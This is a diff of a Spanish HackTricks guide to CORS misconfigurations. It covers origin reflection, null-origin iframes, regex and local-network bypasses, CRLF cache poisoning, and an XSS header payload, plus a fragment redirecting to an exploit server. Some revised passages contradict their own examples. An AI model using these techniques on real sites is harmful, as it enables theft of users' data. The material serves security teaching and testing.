-Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)! +Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)! Otras formas de apoyar a HackTricks: -* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos +* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! +* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) +* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
## ¿Qué es CORS? -El estándar CORS (Cross-origin resource sharing) es necesario porque **permite a los servidores especificar quién puede acceder a sus activos** y qué **métodos de solicitud HTTP están permitidos** desde recursos externos. +El estándar Cross-Origin Resource Sharing (CORS) **permite a los servidores definir quién puede acceder a sus activos** y **qué métodos de solicitud HTTP están permitidos** desde fuentes externas. -Una política de **mismo origen**, requiere que tanto el **servidor que solicita** un recurso como el servidor donde se encuentra el **recurso** utilicen el mismo protocolo ([http://),dominio](http://\),dominio) (internal-web.com) y el mismo **puerto** (80). Entonces, si el servidor impone la política de mismo origen, solo las páginas web del mismo dominio y puerto podrán acceder a los recursos. +Una política de **mismo origen** exige que un **servidor que solicita** un recurso y el servidor que **aloja el recurso** compartan el mismo protocolo (por ejemplo, `http://`), nombre de dominio (por ejemplo, `internal-web.com`) y **puerto** (por ejemplo, 80). Bajo esta política, solo se permite el acceso a los recursos a las páginas web del mismo dominio y puerto. -La siguiente tabla muestra cómo se aplicaría la política de mismo origen en `http://normal-website.com/example/example.html` : +La aplicación de la política de mismo origen en el contexto de `http://normal-website.com/example/example.html` se ilustra de la siguiente manera: -| URL accedida | ¿Acceso permitido? | +| URL accedida | ¿Acceso permitido? | | ----------------------------------------- | ---------------------------------- | -| `http://normal-website.com/example/` | Sí: mismo esquema, dominio y puerto| -| `http://normal-website.com/example2/` | Sí: mismo esquema, dominio y puerto| -| `https://normal-website.com/example/` | No: esquema y puerto diferentes | -| `http://en.normal-website.com/example/` | No: dominio diferente | -| `http://www.normal-website.com/example/` | No: dominio diferente | -| `http://normal-website.com:8080/example/` | No: puerto diferente* | +| `http://normal-website.com/example/` | Sí: Esquema, dominio y puerto idénticos | +| `http://normal-website.com/example2/` | Sí: Esquema, dominio y puerto idénticos | +| `https://normal-website.com/example/` | No: Esquema y puerto diferentes | +| `http://en.normal-website.com/example/` | No: Dominio diferente | +| `http://www.normal-website.com/example/` | No: Dominio diferente | +| `http://normal-website.com:8080/example/` | No: Puerto diferente* | -\*_Internet Explorer permitirá este acceso porque IE no tiene en cuenta el número de puerto al aplicar la política de mismo origen._ +*Internet Explorer no tiene en cuenta el número de puerto al hacer cumplir la política de mismo origen, permitiendo así este acceso. -### Cabecera `Access-Control-Allow-Origin` +### Encabezado `Access-Control-Allow-Origin` -La especificación de `Access-Control-Allow-Origin` permite **múltiples orígenes**, o el valor **`null`**, o el comodín **`*`**. Sin embargo, **ningún navegador admite múltiples orígenes** y hay **restricciones** en el uso del comodín **`*`**.(_El comodín solo puede usarse solo, esto fallará `Access-Control-Allow-Origin: https://*.normal-website.com` y no se puede usar con_ _Access-Control-Allow-Credentials: true_) +Este encabezado puede permitir **múltiples orígenes**, un valor de **`null`**, o un comodín **`*`**. Sin embargo, **ningún navegador admite múltiples orígenes**, y el uso del comodín `*` está sujeto a **limitaciones**. (El comodín debe usarse solo, y no se permite su uso junto con `Access-Control-Allow-Credentials: true`.) -Esta cabecera es **devuelta por un servidor** cuando un sitio web solicita un recurso de otro dominio, con una cabecera `Origin` añadida por el navegador. +Este encabezado es **emitido por un servidor** en respuesta a una solicitud de recurso entre dominios iniciada por un sitio web, con el navegador añadiendo automáticamente un encabezado `Origin`. -### Cabecera `Access-Control-Allow-Credentials` +### Encabezado `Access-Control-Allow-Credentials` -El comportamiento **predeterminado** de las solicitudes de recursos de otro origen es que las **solicitudes** se **envíen sin credenciales** como cookies y la cabecera de Autorización. Sin embargo, el servidor de otro dominio puede **permitir la lectura** de la **respuesta** cuando las **credenciales** se **envían** a él estableciendo la cabecera CORS **`Access-Control-Allow-Credentials`** en **`true`**. +Por **defecto**, las solicitudes entre orígenes se realizan sin credenciales como cookies o el encabezado de Autorización. Sin embargo, un servidor entre dominios puede permitir la lectura de la respuesta cuando se envían credenciales configurando el encabezado `Access-Control-Allow-Credentials` a **`true`**. -Si el valor se establece en `true`, entonces el navegador enviará credenciales (cookies, cabeceras de autorización o certificados de cliente TLS). +Si se establece en `true`, el navegador transmitirá credenciales (cookies, encabezados de autorización o certificados de cliente TLS). ```javascript var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { @@ -70,67 +70,57 @@ xhr.setRequestHeader('Content-Type', 'application/xml'); xhr.onreadystatechange = handler; xhr.send('Arun'); ``` -### Solicitud de pre-vuelo +### Solicitud previa CSRF -Bajo ciertas circunstancias, cuando una solicitud entre dominios: +### Comprendiendo las Solicitudes Previas en la Comunicación entre Dominios -* incluye un **método HTTP no estándar (HEAD, GET, POST)** -* incluye **headers nuevos** -* incluye un valor especial en el **header Content-Type** +Al iniciar una solicitud entre dominios bajo condiciones específicas, como usar un **método HTTP no estándar** (cualquier cosa que no sea HEAD, GET, POST), introducir nuevos **encabezados**, o emplear un valor especial en el encabezado **Content-Type**, puede ser necesaria una solicitud previa. Esta solicitud preliminar, aprovechando el método **`OPTIONS`**, sirve para informar al servidor sobre las intenciones de la próxima solicitud entre orígenes, incluyendo los métodos y encabezados HTTP que pretende utilizar. -{% hint style="info" %} -**Verifica** [**en este enlace**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests) **las condiciones de una solicitud para evitar el envío de una solicitud de pre-vuelo** -{% endhint %} +El protocolo de **Compartir Recursos de Origen Cruzado (CORS)** exige esta verificación previa para determinar la viabilidad de la operación entre orígenes solicitada, verificando los métodos permitidos, los encabezados y la confiabilidad del origen. Para comprender detalladamente qué condiciones evitan la necesidad de una solicitud previa, consulte la guía completa proporcionada por [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests). -la solicitud entre orígenes es precedida por una **solicitud** utilizando el método **`OPTIONS`**, y el protocolo CORS requiere una verificación inicial sobre qué **métodos y headers están permitidos antes de permitir la solicitud entre orígenes**. Esto se denomina la **verificación de pre-vuelo**. El servidor **devuelve una lista de métodos permitidos** además del **origen de confianza** y el navegador verifica si el método del sitio web solicitante está permitido. +Es crucial tener en cuenta que **la ausencia de una solicitud previa no elimina la necesidad de que la respuesta lleve encabezados de autorización**. Sin estos encabezados, el navegador no puede procesar la respuesta de la solicitud entre orígenes. -{% hint style="danger" %} -Ten en cuenta que **incluso si no se envía una solicitud de pre-vuelo** porque se respetan las condiciones de la "solicitud regular", la **respuesta necesita tener los headers de autorización** o el **navegador** **no podrá leer la respuesta** de la solicitud. -{% endhint %} - -Por **ejemplo**, esta es una solicitud de pre-vuelo que busca **usar el método `PUT`** junto con un **header** de solicitud **personalizado** llamado `Special-Request-Header`: +Considere la siguiente ilustración de una solicitud previa dirigida a utilizar el método `PUT` junto con un encabezado personalizado llamado `Special-Request-Header`: ``` -OPTIONS /data HTTP/1.1 -Host: +OPTIONS /info HTTP/1.1 +Host: example2.com ... -Origin: https://normal-website.com -Access-Control-Request-Method: PUT -Access-Control-Request-Headers: Special-Request-Header -``` -El servidor podría devolver una respuesta como la siguiente: +Origin: https://example.com +Access-Control-Request-Method: POST +Access-Control-Request-Headers: Authorization ``` +En respuesta, el servidor podría devolver encabezados que indiquen los métodos aceptados, el origen permitido y otros detalles de la política CORS, como se muestra a continuación: +```markdown HTTP/1.1 204 No Content ... -Access-Control-Allow-Origin: https://normal-website.com +Access-Control-Allow-Origin: https://example.com Access-Control-Allow-Methods: PUT, POST, OPTIONS -Access-Control-Allow-Headers: Special-Request-Header +Access-Control-Allow-Headers: Authorization Access-Control-Allow-Credentials: true Access-Control-Max-Age: 240 ``` -* `Access-Control-Allow-Headers` Cabeceras permitidas -* `Access-Control-Expose-Headers` -* `Access-Control-Max-Age` Define un marco de tiempo máximo para el almacenamiento en caché de la respuesta de pre-vuelo para su reutilización -* `Access-Control-Request-Headers` La cabecera que la solicitud de origen cruzado quiere enviar -* `Access-Control-Request-Method` El método que la solicitud de origen cruzado quiere utilizar -* `Origin` Origen de la solicitud de origen cruzado (Establecido automáticamente por el navegador) +- **`Access-Control-Allow-Headers`**: Este encabezado especifica qué encabezados se pueden utilizar durante la solicitud real. Es establecido por el servidor para indicar los encabezados permitidos en las solicitudes del cliente. +- **`Access-Control-Expose-Headers`**: A través de este encabezado, el servidor informa al cliente sobre qué encabezados se pueden exponer como parte de la respuesta además de los encabezados de respuesta simples. +- **`Access-Control-Max-Age`**: Este encabezado indica cuánto tiempo pueden ser almacenados en caché los resultados de una solicitud previa. El servidor establece el tiempo máximo, en segundos, que la información devuelta por una solicitud previa puede ser reutilizada. +- **`Access-Control-Request-Headers`**: Utilizado en solicitudes previas, este encabezado es establecido por el cliente para informar al servidor sobre qué encabezados HTTP el cliente desea utilizar en la solicitud real. +- **`Access-Control-Request-Method`**: Este encabezado, también utilizado en solicitudes previas, es establecido por el cliente para indicar qué método HTTP se utilizará en la solicitud real. +- **`Origin`**: Este encabezado es establecido automáticamente por el navegador e indica el origen de la solicitud de origen cruzado. Es utilizado por el servidor para evaluar si la solicitud entrante debe ser permitida o denegada según la política CORS. -![](../.gitbook/assets/preflight.svg) -Tenga en cuenta que normalmente (dependiendo del content-type y las cabeceras establecidas) en una solicitud **GET/POST no se envía una solicitud de pre-vuelo** (la solicitud se envía **directamente**), pero si desea acceder a las **cabeceras/cuerpo de la respuesta**, debe contener una cabecera _Access-Control-Allow-Origin_ que lo permita.\ +Ten en cuenta que generalmente (dependiendo del tipo de contenido y los encabezados establecidos) en una solicitud **GET/POST no se envía una solicitud previa** (la solicitud se envía **directamente**), pero si deseas acceder a los **encabezados/cuerpo de la respuesta**, debe contener un encabezado _Access-Control-Allow-Origin_ que lo permita.\ **Por lo tanto, CORS no protege contra CSRF (pero puede ser útil).** -### **Solicitud de pre-vuelo de peticiones de red local** +### **Solicitud previa de solicitudes de red local** -Cuando se envía una solicitud a una dirección IP de red local, se envían 2 cabeceras CORS adicionales: +1. **`Access-Control-Request-Local-Network`**: Este encabezado se incluye en la solicitud del cliente para indicar que la consulta está dirigida a un recurso de red local. Sirve como un marcador para informar al servidor que la solicitud proviene desde la red local. -* La cabecera de solicitud del cliente `Access-Control-Request-Local-Network` indica que la solicitud es una petición de red local -* La cabecera de respuesta del servidor `Access-Control-Allow-Local-Network` indica que un recurso puede compartirse de manera segura con redes externas +2. **`Access-Control-Allow-Local-Network`**: En respuesta, los servidores utilizan este encabezado para comunicar que el recurso solicitado está permitido para ser compartido con entidades fuera de la red local. Actúa como una luz verde para compartir recursos a través de diferentes límites de red, asegurando un acceso controlado mientras se mantienen los protocolos de seguridad. -Una **respuesta válida que permite la solicitud de red local** necesita tener también en la respuesta la cabecera `Access-Controls-Allow-Local_network: true` : +Una **respuesta válida que permita la solicitud de red local** también debe tener en la respuesta el encabezado `Access-Controls-Allow-Local_network: true`: ``` HTTP/1.1 200 OK ... -Access-Control-Allow-Origin: https://public.example.com +Access-Control-Allow-Origin: https://example.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true Access-Control-Allow-Local-Network: true @@ -138,53 +128,48 @@ Content-Length: 0 ... ``` {% hint style="warning" %} -Tenga en cuenta que la IP **0.0.0.0** de linux funciona para **bypass** estos requisitos para acceder a localhost ya que esa dirección IP no se considera "local". +Ten en cuenta que la IP **0.0.0.0** de Linux funciona para **burlar** estos requisitos y acceder a localhost, ya que esa dirección IP no se considera "local". -También es posible **bypass los requisitos de Red Local** si usa la **dirección IP pública de un punto final local** (como la IP pública del router). Porque en varias ocasiones, incluso si se accede a la **IP pública**, si es **desde la red local**, se concederá acceso. +También es posible **burlar los requisitos de la Red Local** si se utiliza la **dirección IP pública de un punto final local** (como la IP pública del enrutador). Porque en varias ocasiones, incluso si se accede a la **IP pública**, si es **desde la red local**, se concederá el acceso. {% endhint %} -## Configuraciones explotables +## Configuraciones incorrectas explotables -Note que la mayoría de los **ataques reales requieren que `Access-Control-Allow-Credentials`** esté configurado en **`true`** porque esto permitirá que el navegador envíe las credenciales y lea la respuesta. Sin credenciales, muchos ataques se vuelven irrelevantes; significa que no puedes aprovechar las cookies de un usuario, por lo que a menudo no hay nada que ganar haciendo que su navegador emita la solicitud en lugar de emitirla tú mismo. +Se ha observado que establecer `Access-Control-Allow-Credentials` en **`true`** es un requisito previo para la mayoría de los **ataques reales**. Esta configuración permite al navegador enviar credenciales y leer la respuesta, mejorando la efectividad del ataque. Sin esto, el beneficio de hacer que un navegador emita una solicitud en lugar de hacerlo uno mismo disminuye, ya que se vuelve inviable aprovechar las cookies de un usuario. -Una excepción notable es cuando la **ubicación de red de la víctima funciona como una especie de autenticación.** Puedes usar el navegador de una víctima como un proxy para bypass la autenticación basada en IP y acceder a aplicaciones de intranet. En términos de impacto, esto es similar a DNS rebinding, pero mucho menos complicado de explotar. +### Excepción: Explotar la Ubicación de la Red como Autenticación -### `Origin` reflejado en `Access-Control-Allow-Origin` +Existe una excepción donde la ubicación de la red de la víctima actúa como una forma de autenticación. Esto permite que el navegador de la víctima se utilice como un proxy, eludiendo la autenticación basada en IP para acceder a aplicaciones de intranet. Este método comparte similitudes en impacto con el reenvío de DNS pero es más fácil de explotar. -En el mundo real esto no puede suceder ya que **estos 2 valores de los encabezados están prohibidos juntos**.\ -También es cierto que muchos desarrolladores quieren **permitir varias URLs en el CORS**, pero no se permiten comodines de subdominios o listas de URLs. Entonces, varios desarrolladores **generan** el encabezado \*\*`Access-Control-Allow-Origin`\*\* **dinámicamente**, y en más de una ocasión simplemente **copian el valor del encabezado Origin**. +### Reflejo de `Origin` en `Access-Control-Allow-Origin` -En ese caso, se podría explotar **la misma vulnerabilidad.** - -En otros casos, el desarrollador podría verificar que el **dominio** (_victimdomain.com_) **aparezca** en el encabezado **Origin**, entonces, un atacante puede usar un dominio llamado **`attackervictimdomain.com`** para robar la información confidencial. +El escenario del mundo real donde el valor del encabezado `Origin` se refleja en `Access-Control-Allow-Origin` es teóricamente improbable debido a las restricciones para combinar estos encabezados. Sin embargo, los desarrolladores que buscan habilitar CORS para múltiples URLs pueden generar dinámicamente el encabezado `Access-Control-Allow-Origin` copiando el valor del encabezado `Origin`. Este enfoque puede introducir vulnerabilidades, especialmente cuando un atacante utiliza un dominio con un nombre diseñado para parecer legítimo, engañando así a la lógica de validación. ```html ``` -### El origen `null` +### Explotando el Origen `null` -`null` es un valor especial para el encabezado **Origin**. La especificación menciona que se activa por redirecciones y archivos HTML locales. Algunas aplicaciones podrían incluir en la lista blanca el origen `null` para apoyar el desarrollo local de la aplicación.\ -Esto es bueno porque **varias aplicaciones permitirán este valor** dentro de CORS y cualquier **sitio web puede obtener fácilmente el origen null utilizando un iframe con sandbox**: +El origen `null`, especificado para situaciones como redirecciones o archivos HTML locales, tiene una posición única. Algunas aplicaciones incluyen este origen en la lista blanca para facilitar el desarrollo local, permitiendo inadvertidamente que cualquier sitio web imite un origen `null` a través de un iframe con sandbox, evitando así las restricciones de CORS. ```html ``` @@ -193,81 +178,84 @@ location='https://exploit-accd1f8d1ef98341c0bc370201c900f2.web-security-academy. ``` -### **Regexp bypasses** +### Técnicas de Bypass de Expresiones Regulares -Si descubres que el dominio _victim.com_ está **en la lista blanca**, deberías verificar si _victim.com.**attacker.com**_ también está **en la lista blanca**, o, en caso de que puedas **tomar control de algún subdominio**, comprueba si _**somesubdomain**.victim.com_ está en la lista blanca. +Al encontrarse con una lista blanca de dominios, es crucial probar oportunidades de bypass, como agregar el dominio del atacante a un dominio en la lista blanca o explotar vulnerabilidades de apropiación de subdominios. Además, las expresiones regulares utilizadas para la validación de dominios pueden pasar por alto matices en las convenciones de nomenclatura de dominios, presentando más oportunidades de bypass. -### **Avances en bypasses de Regexp** +### Bypasses Avanzados de Expresiones Regulares -La mayoría de las regex utilizadas para identificar el dominio dentro de la cadena se centrarán en caracteres ASCII alfanuméricos y `.-`. Entonces, algo como `victimdomain.com{.attacker.com` dentro del encabezado Origin será interpretado por la regexp como si el dominio fuera `victimdomain.com`, pero el navegador (en este caso Safari soporta este carácter en el dominio) accederá al dominio `attacker.com`. +Los patrones Regex suelen concentrarse en caracteres alfanuméricos, punto (.), y guion (-), descuidando otras posibilidades. Por ejemplo, un nombre de dominio diseñado para incluir caracteres interpretados de manera diferente por los navegadores y patrones Regex puede evadir las comprobaciones de seguridad. La forma en que Safari, Chrome y Firefox manejan los caracteres de guion bajo en subdominios ilustra cómo estas discrepancias pueden ser explotadas para eludir la lógica de validación de dominios. -¡El carácter `_` (en subdominios) no solo es compatible con Safari, sino también con Chrome y Firefox! +**Para obtener más información y configuraciones de esta verificación de bypass:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **y** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397) -**Entonces, utilizando uno de esos subdominios podrías eludir algunas regex "comunes" para encontrar el dominio principal de una URL.** - -**Para más información y configuraciones de este bypass consulta:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **y** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397) - -![](<../.gitbook/assets/image (153).png>) +![https://miro.medium.com/v2/resize:fit:720/format:webp/1*rolEK39-DDxeBgSq6KLKAA.png](<../.gitbook/assets/image (153).png>) ### Desde XSS dentro de un subdominio -Un mecanismo defensivo que utilizan los desarrolladores contra la explotación de CORS es incluir en la lista blanca dominios que solicitan acceso frecuentemente a la información. Sin embargo, esto no es completamente seguro, porque si incluso **uno** de los subdominios del dominio **en la lista blanca** es **vulnerable** a otros exploits como **XSS**, puede habilitar la explotación de CORS. +Los desarrolladores a menudo implementan mecanismos defensivos para protegerse contra la explotación de CORS al incluir en la lista blanca dominios que tienen permiso para solicitar información. A pesar de estas precauciones, la seguridad del sistema no es infalible. La presencia de incluso un solo subdominio vulnerable dentro de los dominios en la lista blanca puede abrir la puerta a la explotación de CORS a través de otras vulnerabilidades, como XSS (Cross-Site Scripting). -Consideremos un ejemplo, el siguiente código muestra la configuración que permite a los subdominios de _requester.com_ acceder a recursos de _provider.com_. +Para ilustrar, considera el escenario donde un dominio, `requester.com`, está en la lista blanca para acceder a recursos de otro dominio, `provider.com`. La configuración del lado del servidor podría verse algo así: ```javascript -if ($_SERVER['HTTP_HOST'] == '*.requester.com') -{ -//Access data -else{ // unauthorized access} +if ($_SERVER['HTTP_HOST'] == '*.requester.com') { +// Access data +} else { +// Unauthorized access } ``` +En esta configuración, se permite el acceso a todos los subdominios de `requester.com`. Sin embargo, si un subdominio, por ejemplo `sub.requester.com`, se ve comprometido con una vulnerabilidad de XSS, un atacante puede aprovechar esta debilidad. Por ejemplo, un atacante con acceso a `sub.requester.com` podría explotar la vulnerabilidad de XSS para eludir las políticas de CORS y acceder maliciosamente a recursos en `provider.com`. + + ### **Envenenamiento de caché del lado del servidor** -Si las estrellas están alineadas, podríamos utilizar el envenenamiento de caché del lado del servidor a través de la inyección de cabeceras HTTP para crear una vulnerabilidad de [XSS almacenado](https://portswigger.net/web-security/cross-site-scripting/stored). +**[De esta investigación](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)** -Si una aplicación **refleja** la cabecera **Origin** sin siquiera verificarla en busca de caracteres ilegales como , efectivamente tenemos una **vulnerabilidad de inyección de cabeceras HTTP contra usuarios de IE/Edge ya que Internet Explorer y Edge consideran \r (0x0d) como un terminador de cabecera HTTP válido**:`GET / HTTP/1.1`\ -`Origin: z[0x0d]Content-Type: text/html; charset=UTF-7` +Es posible que al explotar el envenenamiento de caché del lado del servidor a través de la inyección de encabezados HTTP, se pueda inducir una vulnerabilidad almacenada de Cross-Site Scripting (XSS). Este escenario se desarrolla cuando una aplicación no desinfecta el encabezado `Origin` de caracteres ilegales, creando una vulnerabilidad especialmente para los usuarios de Internet Explorer y Edge. Estos navegadores tratan `\r` (0x0d) como un terminador legítimo de encabezados HTTP, lo que lleva a vulnerabilidades de inyección de encabezados HTTP. -Internet Explorer ve la respuesta como: +Considere la siguiente solicitud donde se manipula el encabezado `Origin`: +```text +GET / HTTP/1.1 +Origin: z[0x0d]Content-Type: text/html; charset=UTF-7 +``` +Internet Explorer y Edge interpretan la respuesta como: +```text +HTTP/1.1 200 OK +Access-Control-Allow-Origin: z +Content-Type: text/html; charset=UTF-7 +``` +Mientras que explotar directamente esta vulnerabilidad haciendo que un navegador web envíe un encabezado malformado no es factible, una solicitud elaborada puede ser generada manualmente utilizando herramientas como Burp Suite. Este método podría llevar a que una caché del lado del servidor guarde la respuesta y la sirva inadvertidamente a otros. La carga elaborada tiene como objetivo alterar el conjunto de caracteres de la página a UTF-7, una codificación de caracteres a menudo asociada con vulnerabilidades XSS debido a su capacidad para codificar caracteres de una manera que puede ser ejecutada como script en ciertos contextos. -`HTTP/1.1 200 OK`\ -`Access-Control-Allow-Origin: z`\ -`Content-Type: text/html; charset=UTF-7` +Para más lecturas sobre vulnerabilidades XSS almacenadas, consulta [PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored). + +**Nota**: La explotación de vulnerabilidades de inyección de encabezados HTTP, particularmente a través de envenenamiento de caché del lado del servidor, subraya la importancia crítica de validar y sanear toda la entrada proporcionada por el usuario, incluidos los encabezados HTTP. Siempre emplea un modelo de seguridad sólido que incluya validación de entrada para prevenir tales vulnerabilidades. -Esto no es directamente explotable porque no hay forma de que un atacante haga que el navegador web de alguien envíe una cabecera malformada, pero puedo **crear manualmente esta solicitud en Burp Suite y una caché del lado del servidor puede guardar la respuesta y servirla a otras personas**. El payload que he utilizado cambiará el conjunto de caracteres de la página a **UTF-7**, que es notoriamente útil para crear vulnerabilidades XSS. ### **Envenenamiento de caché del lado del cliente** -Es posible que ocasionalmente te hayas encontrado con una página con [XSS reflejado](https://portswigger.net/web-security/cross-site-scripting/reflected) en una cabecera HTTP personalizada. Digamos que una página web refleja el contenido de una cabecera personalizada sin codificar: -```http -GET / HTTP/1.1 -Host: example.com -X-User-id: <svg/onload=alert\(1\)> +**[De esta investigación](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)** -HTTP/1.1 200 OK -Access-Control-Allow-Origin: \* -Access-Control-Allow-Headers: X-User-id -Content-Type: text/html -... -Invalid user: <svg/onload=alert\(1\)>\ -``` -Con CORS, podemos enviar cualquier valor en el Header. Por sí mismo, **eso es inútil** ya que la respuesta que contiene nuestro **JavaScript inyectado no se renderizará**. Sin embargo, **si no se ha especificado Vary: Origin**, la respuesta **puede almacenarse en la caché del navegador y mostrarse directamente cuando el navegador navegue a la URL asociada**. He creado un fiddle para [intentar este ataque en una URL de tu elección](https://jsfiddle.net/3gk8u8wu/3/). Dado que este ataque utiliza la caché del lado del cliente, es bastante confiable. -```markup +En este escenario, se observa una instancia de una página web que refleja el contenido de un encabezado HTTP personalizado sin codificación adecuada. Específicamente, la página web refleja de vuelta el contenido incluido en un encabezado `X-User-id`, que podría incluir JavaScript malicioso, como se demuestra en el ejemplo donde el encabezado contiene una etiqueta de imagen SVG diseñada para ejecutar código JavaScript al cargarse. + +Las políticas de Compartir Recursos de Origen Cruzado (CORS) permiten el envío de encabezados personalizados. Sin embargo, sin que la respuesta sea renderizada directamente por el navegador debido a restricciones de CORS, la utilidad de tal inyección podría parecer limitada. El punto crítico surge al considerar el comportamiento de la caché del navegador. Si el encabezado `Vary: Origin` no está especificado, se vuelve posible que la respuesta maliciosa sea almacenada en la caché del navegador. Posteriormente, esta respuesta en caché podría ser renderizada directamente al navegar a la URL, evitando la necesidad de renderización directa en la solicitud inicial. Este mecanismo mejora la fiabilidad del ataque al aprovechar el almacenamiento en caché del lado del cliente. + +Para ilustrar este ataque, se proporciona un ejemplo de JavaScript, diseñado para ser ejecutado en el entorno de una página web, como a través de un JSFiddle. Este script realiza una acción simple: envía una solicitud a una URL especificada con un encabezado personalizado que contiene el JavaScript malicioso. Tras completar con éxito la solicitud, intenta navegar a la URL objetivo, potencialmente desencadenando la ejecución del script inyectado si la respuesta ha sido almacenada en caché sin un manejo adecuado del encabezado `Vary: Origin`. + +Aquí tienes un resumen del JavaScript utilizado para ejecutar este ataque: +```html ``` @@ -275,115 +263,98 @@ req.send(); ### XSSI (Cross-Site Script Inclusion) / JSONP -XSSI designa un tipo de vulnerabilidad que explota el hecho de que, cuando un recurso se incluye usando la etiqueta `script`, la política de SOP no se aplica, porque los scripts deben poder incluirse entre dominios. Un atacante puede así leer todo lo que se incluyó usando la etiqueta `script`. +XSSI, también conocido como Inclusión de Script de Sitio Cruzado, es un tipo de vulnerabilidad que aprovecha el hecho de que la Política de Mismo Origen (SOP) no se aplica al incluir recursos utilizando la etiqueta script. Esto se debe a que los scripts deben poder incluirse desde diferentes dominios. Esta vulnerabilidad permite a un atacante acceder y leer cualquier contenido que se haya incluido utilizando la etiqueta script. -Esto es especialmente interesante cuando se trata de JavaScript dinámico o JSONP cuando se utilizan informaciones de autoridad ambiental como las cookies para autenticación. Las cookies se incluyen al solicitar un recurso de un host diferente. Plugin de BurpSuite: [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp) +Esta vulnerabilidad se vuelve particularmente significativa cuando se trata de JavaScript dinámico o JSONP (JSON con Padding), especialmente cuando se utilizan información de autoridad ambiental como cookies para la autenticación. Al solicitar un recurso de un host diferente, las cookies se incluyen, lo que las hace accesibles para el atacante. + +Para comprender mejor y mitigar esta vulnerabilidad, puedes utilizar el complemento BurpSuite disponible en [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp). Este complemento puede ayudar a identificar y abordar posibles vulnerabilidades XSSI en tus aplicaciones web. [**Lee más sobre los diferentes tipos de XSSI y cómo explotarlos aquí.**](xssi-cross-site-script-inclusion.md) -Intenta agregar un **parámetro `callback`** en la solicitud. Tal vez la página estaba preparada para enviar los datos como JSONP. En ese caso, la página enviará los datos con `Content-Type: application/javascript` lo cual evadirá la política de CORS. +Intenta agregar un **parámetro `callback`** en la solicitud. Tal vez la página estaba preparada para enviar los datos como JSONP. En ese caso, la página devolverá los datos con `Content-Type: application/javascript`, lo que evitará la política CORS. ![](<../.gitbook/assets/image (229).png>) -### Bypass fácil (¿inútil?) +### Bypass Fácil (¿inútil?) -Puedes pedirle a una aplicación web que haga una solicitud por ti y te envíe la respuesta. Esto evadirá el **`Access-Control-Allow-Origin`** pero ten en cuenta que las **credenciales para la víctima final no se enviarán** ya que estarás **contactando un dominio diferente** (el que hará la solicitud por ti). +Una forma de evitar la restricción de `Access-Control-Allow-Origin` es solicitando a una aplicación web que realice una solicitud en tu nombre y envíe la respuesta de vuelta. Sin embargo, en este escenario, las credenciales de la víctima final no se enviarán, ya que la solicitud se realiza a un dominio diferente. -[**CORS-escape**](https://github.com/shalvah/cors-escape) +1. [**CORS-escape**](https://github.com/shalvah/cors-escape): Esta herramienta proporciona un proxy que reenvía tu solicitud junto con sus encabezados, al mismo tiempo que falsifica el encabezado de Origen para que coincida con el dominio solicitado. Esto evita efectivamente la política CORS. Aquí tienes un ejemplo de uso con XMLHttpRequest: -CORS-escape proporciona un **proxy** que **pasa** nuestra **solicitud** junto con sus **encabezados**, y también **falsifica** el encabezado **Origin** (Origin = **dominio solicitado**). Así que la **política de CORS se evita**.\ -El código fuente está [en Github](https://github.com/shalvah/cors-escape), así que puedes **alojar el tuyo propio**. -```javascript -xhr.open("GET", "https://cors-escape.herokuapp.com/https://maximum.blog/@shalvah/posts"); -``` -[**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape) +2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): Esta herramienta ofrece un enfoque alternativo para el proxy de solicitudes. En lugar de pasar tu solicitud tal cual, el servidor realiza su propia solicitud con los parámetros especificados. -El proxy es como "pasar" tu solicitud, exactamente como la enviaste. Podríamos resolver esto de una manera alternativa que aún implica que alguien más haga la solicitud por ti, pero esta vez, **en lugar de pasar tu solicitud, el servidor hace su propia solicitud, pero con los parámetros que especificaste.** +### Bypass de Iframe + Popup -### Iframe + Popup Bypass - -Puedes **burlar las comprobaciones de CORS** como `e.origin === window.origin` **creando un iframe** y **desde él abriendo una nueva ventana**. Más información en la siguiente 